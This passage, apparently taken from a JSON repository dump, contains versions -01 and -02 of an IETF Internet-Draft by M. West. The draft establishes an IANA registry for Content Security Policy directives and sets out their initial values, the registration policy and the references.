<tr>\n      <td class=\"left\">font-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">form-action</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-ancestors</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">img-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">media-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">object-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">plugin-types</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">report-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">sandbox</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">script-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">style-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.section.3.2\"><a href=\"#rfc.section.3.2\">3.2.</a> <a href=\"#registration-policy-for-content-security-policy-directives\" id=\"registration-policy-for-content-security-policy-directives\">Registration Policy for Content Security Policy directives</a></h1>\n<p id=\"rfc.section.3.2.p.1\">The registration policy for Content Security Policy directives is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, which uses a designated expert to review the specification.</p>\n<p id=\"rfc.section.3.2.p.2\">The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):</p>\n<p/>\n\n<ul>\n  <li>Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.</li>\n  <li>Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.</li>\n</ul>\n<h1 id=\"rfc.section.4\"><a href=\"#rfc.section.4\">4.</a> <a href=\"#security-considerations\" id=\"security-considerations\">Security Considerations</a></h1>\n<p id=\"rfc.section.4.p.1\">The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive&#8217;s expected implementation.</p>\n<h1 id=\"rfc.references\"><a href=\"#rfc.references\">5.</a> References</h1>\n<h1 id=\"rfc.references.1\"><a href=\"#rfc.references.1\">5.1.</a> Normative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"CSP\">[CSP]</b>\n      </td>\n      <td class=\"top\"><a title=\"Google, Inc.\">West, M.</a> and <a title=\"Mozilla\">D. Veditz</a>, \"<a href=\"https://w3c.github.io/webappsec-csp/\">Content Security Policy</a>\", n.d..</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC2119\">[RFC2119]</b>\n      </td>\n      <td class=\"top\"><a href=\"mailto:sob@harvard.edu\" title=\"Harvard University\">Bradner, S.</a>, \"<a href=\"http://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>\", BCP 14, RFC 2119, March 1997.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5226\">[RFC5226]</b>\n      </td>\n      <td class=\"top\"><a>Narten, T.</a> and <a>H. Alvestrand</a>, \"<a href=\"http://tools.ietf.org/html/rfc5226\">Guidelines for Writing an IANA Considerations Section in RFCs</a>\", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5234\">[RFC5234]</b>\n      </td>\n      <td class=\"top\"><a>Crocker, D.</a> and <a>P. Overell</a>, \"<a href=\"http://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>\", STD 68, RFC 5234, January 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.references.2\"><a href=\"#rfc.references.2\">5.2.</a> Informative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5341\">[RFC5341]</b>\n      </td>\n      <td class=\"top\"><a>Jennings, C.</a> and <a>V. Gurbani</a>, \"<a href=\"http://tools.ietf.org/html/rfc5341\">The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry</a>\", RFC 5341, DOI 10.17487/RFC5341, September 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.appendix.A\"><a href=\"#rfc.appendix.A\">Appendix A.</a> <a href=\"#acknowledgements\" id=\"acknowledgements\">Acknowledgements</a></h1>\n<p id=\"rfc.section.A.p.1\">Much of this document&#8217;s structure comes from <a href=\"#RFC5341\">[RFC5341]</a>. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.</p>\n<h1 id=\"rfc.authors\">\n  <a href=\"#rfc.authors\">Author's Address</a>\n</h1>\n<div class=\"avoidbreak\">\n  <address class=\"vcard\">\n\t<span class=\"vcardline\">\n\t  <span class=\"fn\">Mike West</span> \n\t  <span class=\"n hidden\">\n\t\t<span class=\"family-name\">West</span>\n\t  </span>\n\t</span>\n\t<span class=\"org vcardline\">Google, Inc</span>\n\t<span class=\"adr\">\n\t  \n\t  <span class=\"vcardline\">\n\t\t<span class=\"locality\"></span> \n\t\t<span class=\"region\"></span>\n\t\t<span class=\"code\"></span>\n\t  </span>\n\t  <span class=\"country-name vcardline\"></span>\n\t</span>\n\t<span class=\"vcardline\">EMail: <a href=\"mailto:mkwst@google.com\">mkwst@google.com</a></span>\n\n<span class=\"vcardline\">URI: <a href=\"https://mikewest.org/\">https://mikewest.org/</a></span>\n\n  </address>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-01.txt",
    "content": "\n\n\n\nNetwork Working Group                                            M. West\nInternet-Draft                                               Google, Inc\nIntended status: Informational                           October 7, 2015\nExpires: April 9, 2016\n\n\n               Content Security Policy Directive Registry\n                    draft-west-webappsec-csp-reg-01\n\nAbstract\n\n   This document establishes an Internet Assigned Number Authority\n   (IANA) registry for Content Security Policy directives.  It populates\n   the registry with the directives defined in the CSP specification.\n\nStatus of This Memo\n\n   This Internet-Draft is submitted in full conformance with the\n   provisions of BCP 78 and BCP 79.\n\n   Internet-Drafts are working documents of the Internet Engineering\n   Task Force (IETF).  Note that other groups may also distribute\n   working documents as Internet-Drafts.  The list of current Internet-\n   Drafts is at http://datatracker.ietf.org/drafts/current/.\n\n   Internet-Drafts are draft documents valid for a maximum of six months\n   and may be updated, replaced, or obsoleted by other documents at any\n   time.  It is inappropriate to use Internet-Drafts as reference\n   material or to cite them other than as \"work in progress.\"\n\n   This Internet-Draft will expire on April 9, 2016.\n\nCopyright Notice\n\n   Copyright (c) 2015 IETF Trust and the persons identified as the\n   document authors.  All rights reserved.\n\n   This document is subject to BCP 78 and the IETF Trust's Legal\n   Provisions Relating to IETF Documents\n   (http://trustee.ietf.org/license-info) in effect on the date of\n   publication of this document.  Please review these documents\n   carefully, as they describe your rights and restrictions with respect\n   to this document.  Code Components extracted from this document must\n   include Simplified BSD License text as described in Section 4.e of\n   the Trust Legal Provisions and are provided without warranty as\n   described in the Simplified BSD License.\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 1]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nTable of Contents\n\n   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2\n   2.  Use of the Registry . . . . . . . . . . . . . . . . . . . . .   2\n   3.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   2\n     3.1.  Content Security Policy directives Registry . . . . . . .   3\n     3.2.  Registration Policy for Content Security Policy\n           directives  . . . . . . . . . . . . . . . . . . . . . . .   3\n   4.  Security Considerations . . . . . . . . . . . . . . . . . . .   4\n   5.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   4\n     5.1.  Normative References  . . . . . . . . . . . . . . . . . .   4\n     5.2.  Informative References  . . . . . . . . . . . . . . . . .   4\n   Appendix A.  Acknowledgements . . . . . . . . . . . . . . . . . .   5\n   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5\n\n1.  Introduction\n\n   The Content Security Policy specification [CSP] defines a mechanism\n   by which web developers can control the resources which a particular\n   page can fetch or execute, as well as a number of security-relevant\n   policy decisions.\n\n   The policy language specified in that document consists of an\n   extensible set of \"directives\", each of which controls a specific\n   resource type or policy decision.  This specification establishes a\n   registry to ensure that extensions to CSP are listed and\n   standardized.\n\n2.  Use of the Registry\n\n   Content Security Policy directives must be documented in a readily\n   available public specification in order to be registered by IANA.\n   This documentation must fully explain the syntax, intended usage, and\n   semantics of the directive.  The intent of this requirement is to\n   assure interoperable independent implementations, and to prevent\n   accidental namespace collisions between implementations of dissimilar\n   features.\n\n   Documents defining new Content Security Policy directives must\n   register them with IANA, as described in Section 3.  The IANA\n   registration policy for such parameters is \"Specification Required\"\n   [RFC5226], and is further discussed in Section 3.2.\n\n3.  IANA Considerations\n\n   This specification creates a new top-level IANA registry named\n   \"Content Security Policy directives\".\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 2]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n3.1.  Content Security Policy directives Registry\n\n   New Content Security Policy directives, and updates to existing\n   directives, must be registered with IANA.\n\n   When registering a new Content Security Policy directive, the\n   following information must be provided:\n\n   o  The directive's name, an ASCII string conforming to the\n      \"directive-name\" rule specified in Section 4.1 of [CSP].\n\n   o  A reference to the readily available public specification defining\n      the new directive's syntax, usage, and semantics.\n\n   The following table contains the initial values for this registry:\n\n                      +-----------------+-----------+\n                      | Directive Name  | Reference |\n                      +-----------------+-----------+\n                      | base-uri        | [CSP]     |\n                      | child-src       | [CSP]     |\n                      | connect-src     | [CSP]     |\n                      | default-src     | [CSP]     |\n                      | font-src        | [CSP]     |\n                      | form-action     | [CSP]     |\n                      | frame-ancestors | [CSP]     |\n                      | frame-src       | [CSP]     |\n                      | img-src         | [CSP]     |\n                      | media-src       | [CSP]     |\n                      | object-src      | [CSP]     |\n                      | plugin-types    | [CSP]     |\n                      | report-uri      | [CSP]     |\n                      | sandbox         | [CSP]     |\n                      | script-src      | [CSP]     |\n                      | style-src       | [CSP]     |\n                      +-----------------+-----------+\n\n3.2.  Registration Policy for Content Security Policy directives\n\n   The registration policy for Content Security Policy directives is\n   \"Specification Required\" [RFC5226], which uses a designated expert to\n   review the specification.\n\n   The designated expert, when deliberating on whether to include a new\n   directive in the registry, should consider the following criteria.\n   This is not an exhaustive list, but representative of the issues to\n   consider when rendering a decision):\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 3]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n   o  Content Security Policy is a restrictive feature, which allows web\n      developers to deny themselves access to resources and APIs which\n      would otherwise be available.  Deploying Content Security Policy\n      is, therefore, a strict reduction in risk.  The expert should\n      carefully consider whether proposed directives would violate this\n      property.\n\n   o  Granular directives are valuable, but the expert should strive to\n      strike a reasonable balance between providing developers with all\n      the knobs and switches possible, and providing only those with\n      known security implications.\n\n4.  Security Considerations\n\n   The registry in this document does not in itself have security\n   implications.  The directives specified, however, certainly do.  The\n   documents referenced when registering new directives must contain\n   detailed security and privacy considerations sections, and should\n   contain usage information which informs web developers as to the\n   directive's expected implementation.\n\n5.  References\n\n5.1.  Normative References\n\n   [CSP]      West, M. and D. Veditz, \"Content Security Policy\", n.d.,\n              <https://w3c.github.io/webappsec-csp/>.\n\n   [RFC2119]  Bradner, S., \"Key words for use in RFCs to Indicate\n              Requirement Levels\", BCP 14, RFC 2119, March 1997.\n\n   [RFC5226]  Narten, T. and H. Alvestrand, \"Guidelines for Writing an\n              IANA Considerations Section in RFCs\", BCP 26, RFC 5226,\n              DOI 10.17487/RFC5226, May 2008,\n              <http://www.rfc-editor.org/info/rfc5226>.\n\n   [RFC5234]  Crocker, D. and P. Overell, \"Augmented BNF for Syntax\n              Specifications: ABNF\", STD 68, RFC 5234, January 2008.\n\n5.2.  Informative References\n\n   [RFC5341]  Jennings, C. and V. Gurbani, \"The Internet Assigned Number\n              Authority (IANA) tel Uniform Resource Identifier (URI)\n              Parameter Registry\", RFC 5341, DOI 10.17487/RFC5341,\n              September 2008, <http://www.rfc-editor.org/info/rfc5341>.\n\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 4]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nAppendix A.  Acknowledgements\n\n   Much of this document's structure comes from [RFC5341].  Thank you to\n   Cullen Jennings and Vijay K.  Gurbani for giving me a reasonable\n   template to work within, and to Barry Leiba for his helpful\n   commentary and suggestions.\n\nAuthor's Address\n\n   Mike West\n   Google, Inc\n\n   Email: mkwst@google.com\n   URI:   https://mikewest.org/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 5]\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-02.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head profile=\"http://www.w3.org/2006/03/hcard http://dublincore.org/documents/2008/08/04/dc-html/\">\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=us-ascii\" />\n\n  <title>Content Security Policy Directive Registry</title>\n\n  <style type=\"text/css\" title=\"Xml2Rfc (sans serif)\">\n  /*<![CDATA[*/\n\t  a {\n\t  text-decoration: none;\n\t  }\n      /* info code from SantaKlauss at http://www.madaboutstyle.com/tooltip2.html */\n      a.info {\n          /* This is the key. */\n          position: relative;\n          z-index: 24;\n          text-decoration: none;\n      }\n      a.info:hover {\n          z-index: 25;\n          color: #FFF; background-color: #900;\n      }\n      a.info span { display: none; }\n      a.info:hover span.info {\n          /* The span will display just on :hover state. */\n          display: block;\n          position: absolute;\n          font-size: smaller;\n          top: 2em; left: -5em; width: 15em;\n          padding: 2px; border: 1px solid #333;\n          color: #900; background-color: #EEE;\n          text-align: left;\n      }\n\t  a.smpl {\n\t  color: black;\n\t  }\n\t  a:hover {\n\t  text-decoration: underline;\n\t  }\n\t  a:active {\n\t  text-decoration: underline;\n\t  }\n\t  address {\n\t  margin-top: 1em;\n\t  margin-left: 2em;\n\t  font-style: normal;\n\t  }\n\t  body {\n\t  color: black;\n\t  font-family: verdana, helvetica, arial, sans-serif;\n\t  font-size: 10pt;\n\t  max-width: 55em;\n\t  \n\t  }\n\t  cite {\n\t  font-style: normal;\n\t  }\n\t  dd {\n\t  margin-right: 2em;\n\t  }\n\t  dl {\n\t  margin-left: 2em;\n\t  }\n\t\n\t  ul.empty {\n\t  list-style-type: none;\n\t  }\n\t  ul.empty li {\n\t  margin-top: .5em;\n\t  }\n\t  dl p {\n\t  margin-left: 0em;\n\t  }\n\t  dt {\n\t  margin-top: .5em;\n\t  }\n\t  h1 {\n\t  font-size: 14pt;\n\t  line-height: 21pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h1.np {\n\t  page-break-before: always;\n\t  }\n\t  h1 a {\n\t  color: #333333;\n\t  }\n\t  h2 {\n\t  font-size: 12pt;\n\t  line-height: 15pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h3, h4, h5, h6 {\n\t  font-size: 10pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h2 a, h3 a, h4 a, h5 a, h6 a {\n\t  color: black;\n\t  }\n\t  img {\n\t  margin-left: 3em;\n\t  }\n\t  li {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol p {\n\t  margin-left: 0em;\n\t  }\n\t  p {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  pre {\n\t  margin-left: 3em;\n\t  background-color: lightyellow;\n\t  padding: .25em;\n\t  }\n\t  pre.text2 {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f0f0f0;\n\t  width: 69em;\n\t  }\n\t  pre.inline {\n\t  background-color: white;\n\t  padding: 0em;\n\t  }\n\t  pre.text {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  width: 69em;\n\t  }\n\t  pre.drawing {\n\t  border-style: solid;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  padding: 2em;\n\t  }\n\t  table {\n\t  margin-left: 2em;\n\t  }\n\t  table.tt {\n\t  vertical-align: top;\n\t  }\n\t  table.full {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt td {\n\t  vertical-align: top;\n\t  }\n\t  table.full td {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt th {\n\t  vertical-align: top;\n\t  }\n\t  table.full th {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers th {\n\t  border-style: none none inset none;\n\t  border-width: 1px;\n\t  }\n\t  table.left {\n\t  margin-right: auto;\n\t  }\n\t  table.right {\n\t  margin-left: auto;\n\t  }\n\t  table.center {\n\t  margin-left: auto;\n\t  margin-right: auto;\n\t  }\n\t  caption {\n\t  caption-side: bottom;\n\t  font-weight: bold;\n\t  font-size: 9pt;\n\t  margin-top: .5em;\n\t  }\n\t\n\t  table.header {\n\t  border-spacing: 1px;\n\t  width: 95%;\n\t  font-size: 10pt;\n\t  color: white;\n\t  }\n\t  td.top {\n\t  vertical-align: top;\n\t  }\n\t  td.topnowrap {\n\t  vertical-align: top;\n\t  white-space: nowrap; \n\t  }\n\t  table.header td {\n\t  background-color: gray;\n\t  width: 50%;\n\t  }\n\t  table.header a {\n\t  color: white;\n\t  }\n\t  td.reference {\n\t  vertical-align: top;\n\t  white-space: nowrap;\n\t  padding-right: 1em;\n\t  }\n\t  thead {\n\t  display:table-header-group;\n\t  }\n\t  ul.toc, ul.toc ul {\n\t  list-style: none;\n\t  margin-left: 1.5em;\n\t  margin-right: 0em;\n\t  padding-left: 0em;\n\t  }\n\t  ul.toc li {\n\t  line-height: 150%;\n\t  font-weight: bold;\n\t  font-size: 10pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  ul.toc li li {\n\t  line-height: normal;\n\t  font-weight: normal;\n\t  font-size: 9pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  li.excluded {\n\t  font-size: 0pt;\n\t  }\n\t  ul p {\n\t  margin-left: 0em;\n\t  }\n\t\n\t  .comment {\n\t  background-color: yellow;\n\t  }\n\t  .center {\n\t  text-align: center;\n\t  }\n\t  .error {\n\t  color: red;\n\t  font-style: italic;\n\t  font-weight: bold;\n\t  }\n\t  .figure {\n\t  font-weight: bold;\n\t  text-align: center;\n\t  font-size: 9pt;\n\t  }\n\t  .filename {\n\t  color: #333333;\n\t  font-weight: bold;\n\t  font-size: 12pt;\n\t  line-height: 21pt;\n\t  text-align: center;\n\t  }\n\t  .fn {\n\t  font-weight: bold;\n\t  }\n\t  .hidden {\n\t  display: none;\n\t  }\n\t  .left {\n\t  text-align: left;\n\t  }\n\t  .right {\n\t  text-align: right;\n\t  }\n\t  .title {\n\t  color: #990000;\n\t  font-size: 18pt;\n\t  line-height: 18pt;\n\t  font-weight: bold;\n\t  text-align: center;\n\t  margin-top: 36pt;\n\t  }\n\t  .vcardline {\n\t  display: block;\n\t  }\n\t  .warning {\n\t  font-size: 14pt;\n\t  background-color: yellow;\n\t  }\n\t\n\t\n\t  @media print {\n\t  .noprint {\n\t\tdisplay: none;\n\t  }\n\t\n\t  a {\n\t\tcolor: black;\n\t\ttext-decoration: none;\n\t  }\n\t\n\t  table.header {\n\t\twidth: 90%;\n\t  }\n\t\n\t  td.header {\n\t\twidth: 50%;\n\t\tcolor: black;\n\t\tbackground-color: white;\n\t\tvertical-align: top;\n\t\tfont-size: 12pt;\n\t  }\n\t\n\t  ul.toc a::after {\n\t\tcontent: leader('.') target-counter(attr(href), page);\n\t  }\n\t\n\t  ul.ind li li a {\n\t\tcontent: target-counter(attr(href), page);\n\t  }\n\t\n\t  .print2col {\n\t\tcolumn-count: 2;\n\t\t-moz-column-count: 2;\n\t\tcolumn-fill: auto;\n\t  }\n\t  }\n\t\n\t  @page {\n\t  @top-left {\n\t\t   content: \"Internet-Draft\"; \n\t  } \n\t  @top-right {\n\t\t   content: \"December 2010\"; \n\t  } \n\t  @top-center {\n\t\t   content: \"Abbreviated Title\";\n\t  } \n\t  @bottom-left {\n\t\t   content: \"Doe\"; \n\t  } \n\t  @bottom-center {\n\t\t   content: \"Expires June 2011\"; \n\t  } \n\t  @bottom-right {\n\t\t   content: \"[Page \" counter(page) \"]\"; \n\t  } \n\t  }\n\t\n\t  @page:first { \n\t\t@top-left {\n\t\t  content: normal;\n\t\t}\n\t\t@top-right {\n\t\t  content: normal;\n\t\t}\n\t\t@top-center {\n\t\t  content: normal;\n\t\t}\n\t  }\n  /*]]>*/\n  </style>\n\n  <link href=\"#rfc.toc\" rel=\"Contents\"/>\n<link href=\"#rfc.section.1\" rel=\"Chapter\" title=\"1 Introduction\"/>\n<link href=\"#rfc.section.2\" rel=\"Chapter\" title=\"2 Use of the Registry\"/>\n<link href=\"#rfc.section.3\" rel=\"Chapter\" title=\"3 IANA Considerations\"/>\n<link href=\"#rfc.section.3.1\" rel=\"Chapter\" title=\"3.1 Content Security Policy directives Registry\"/>\n<link href=\"#rfc.section.3.2\" rel=\"Chapter\" title=\"3.2 Registration Policy for Content Security Policy directives\"/>\n<link href=\"#rfc.section.4\" rel=\"Chapter\" title=\"4 Security Considerations\"/>\n<link href=\"#rfc.references\" rel=\"Chapter\" title=\"5 References\"/>\n<link href=\"#rfc.references.1\" rel=\"Chapter\" title=\"5.1 Normative References\"/>\n<link href=\"#rfc.references.2\" rel=\"Chapter\" title=\"5.2 Informative References\"/>\n<link href=\"#rfc.appendix.A\" rel=\"Chapter\" title=\"A Acknowledgements\"/>\n<link href=\"#rfc.authors\" rel=\"Chapter\"/>\n\n\n  <meta name=\"generator\" content=\"xml2rfc version 2.4.8 - http://tools.ietf.org/tools/xml2rfc\" />\n  <link rel=\"schema.dct\" href=\"http://purl.org/dc/terms/\" />\n\n  <meta name=\"dct.creator\" content=\"West, M.\" />\n  <meta name=\"dct.identifier\" content=\"urn:ietf:id:draft-west-webappsec-csp-reg-02\" />\n  <meta name=\"dct.issued\" scheme=\"ISO8601\" content=\"2015-10-7\" />\n  <meta name=\"dct.abstract\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n  <meta name=\"description\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n\n</head>\n\n<body>\n\n  <table class=\"header\">\n    <tbody>\n    \n    \t<tr>\n  <td class=\"left\">Network Working Group</td>\n  <td class=\"right\">M. West</td>\n</tr>\n<tr>\n  <td class=\"left\">Internet-Draft</td>\n  <td class=\"right\">Google, Inc</td>\n</tr>\n<tr>\n  <td class=\"left\">Intended status: Informational</td>\n  <td class=\"right\">October 7, 2015</td>\n</tr>\n<tr>\n  <td class=\"left\">Expires: April 9, 2016</td>\n  <td class=\"right\"></td>\n</tr>\n\n    \t\n    </tbody>\n  </table>\n\n  <p class=\"title\">Content Security Policy Directive Registry<br />\n  <span class=\"filename\">draft-west-webappsec-csp-reg-02</span></p>\n  \n  <h1 id=\"rfc.abstract\">\n  <a href=\"#rfc.abstract\">Abstract</a>\n</h1>\n<p>This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.</p>\n<h1 id=\"rfc.status\">\n  <a href=\"#rfc.status\">Status of This Memo</a>\n</h1>\n<p>This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.</p>\n<p>Internet-Drafts are working documents of the Internet Engineering Task Force (IETF).  Note that other groups may also distribute working documents as Internet-Drafts.  The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.</p>\n<p>Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time.  It is inappropriate to use Internet-Drafts as reference material or to cite them other than as \"work in progress.\"</p>\n<p>This Internet-Draft will expire on April 9, 2016.</p>\n<h1 id=\"rfc.copyrightnotice\">\n  <a href=\"#rfc.copyrightnotice\">Copyright Notice</a>\n</h1>\n<p>Copyright (c) 2015 IETF Trust and the persons identified as the document authors.  All rights reserved.</p>\n<p>This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document.  Please review these documents carefully, as they describe your rights and restrictions with respect to this document.  Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.</p>\n\n  \n  <hr class=\"noprint\" />\n  <h1 class=\"np\" id=\"rfc.toc\"><a href=\"#rfc.toc\">Table of Contents</a></h1>\n  <ul class=\"toc\">\n\n  \t<li>1.   <a href=\"#rfc.section.1\">Introduction</a></li>\n<li>2.   <a href=\"#rfc.section.2\">Use of the Registry</a></li>\n<li>3.   <a href=\"#rfc.section.3\">IANA Considerations</a></li>\n<li>3.1.   <a href=\"#rfc.section.3.1\">Content Security Policy directives Registry</a></li>\n<li>3.2.   <a href=\"#rfc.section.3.2\">Registration Policy for Content Security Policy directives</a></li>\n<li>4.   <a href=\"#rfc.section.4\">Security Considerations</a></li>\n<li>5.   <a href=\"#rfc.references\">References</a></li>\n<li>5.1.   <a href=\"#rfc.references.1\">Normative References</a></li>\n<li>5.2.   <a href=\"#rfc.references.2\">Informative References</a></li>\n<li>Appendix A.   <a href=\"#rfc.appendix.A\">Acknowledgements</a></li>\n<li><a href=\"#rfc.authors\">Author's Address</a></li>\n\n\n  </ul>\n\n  <h1 id=\"rfc.section.1\"><a href=\"#rfc.section.1\">1.</a> <a href=\"#introduction\" id=\"introduction\">Introduction</a></h1>\n<p id=\"rfc.section.1.p.1\">The Content Security Policy specification <a href=\"#CSP\">[CSP]</a> defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.</p>\n<p id=\"rfc.section.1.p.2\">The policy language specified in that document consists of an extensible set of &#8220;directives&#8221;, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.</p>\n<h1 id=\"rfc.section.2\"><a href=\"#rfc.section.2\">2.</a> <a href=\"#use-of-the-registry\" id=\"use-of-the-registry\">Use of the Registry</a></h1>\n<p id=\"rfc.section.2.p.1\">Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.</p>\n<p id=\"rfc.section.2.p.2\">Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, and is further discussed in Section 3.2.</p>\n<h1 id=\"rfc.section.3\"><a href=\"#rfc.section.3\">3.</a> <a href=\"#iana-considerations\" id=\"iana-considerations\">IANA Considerations</a></h1>\n<p id=\"rfc.section.3.p.1\">This specification creates a new top-level IANA registry named &#8220;Content Security Policy directives&#8221;.</p>\n<h1 id=\"rfc.section.3.1\"><a href=\"#rfc.section.3.1\">3.1.</a> <a href=\"#content-security-policy-directives-registry\" id=\"content-security-policy-directives-registry\">Content Security Policy directives Registry</a></h1>\n<p id=\"rfc.section.3.1.p.1\">New Content Security Policy directives, and updates to existing directives, must be registered with IANA.</p>\n<p id=\"rfc.section.3.1.p.2\">When registering a new Content Security Policy directive, the following information must be provided:</p>\n<pre>\ndirective-name  = 1*( ALPHA / DIGIT / \"-\" )\n</pre>\n<p/>\n\n<ul>\n  <li>The directive&#8217;s name, an ASCII string conforming to the <samp>directive-name</samp> rule specified in Section 4.1 of <a href=\"#CSP\">[CSP]</a>. The ABNF <a href=\"#RFC5234\">[RFC5234]</a> is as follows:  <br/><br/> </li>\n  <li>A reference to the readily available public specification defining the new directive&#8217;s syntax, usage, and semantics.</li>\n</ul>\n<p id=\"rfc.section.3.1.p.4\">The following table contains the initial values for this registry:</p>\n<table cellpadding=\"3\" cellspacing=\"0\" class=\"tt full center\">\n  <thead>\n    <tr>\n      <th class=\"left\">Directive Name</th>\n      <th class=\"left\">Reference</th>\n    </tr>\n  </thead>\n  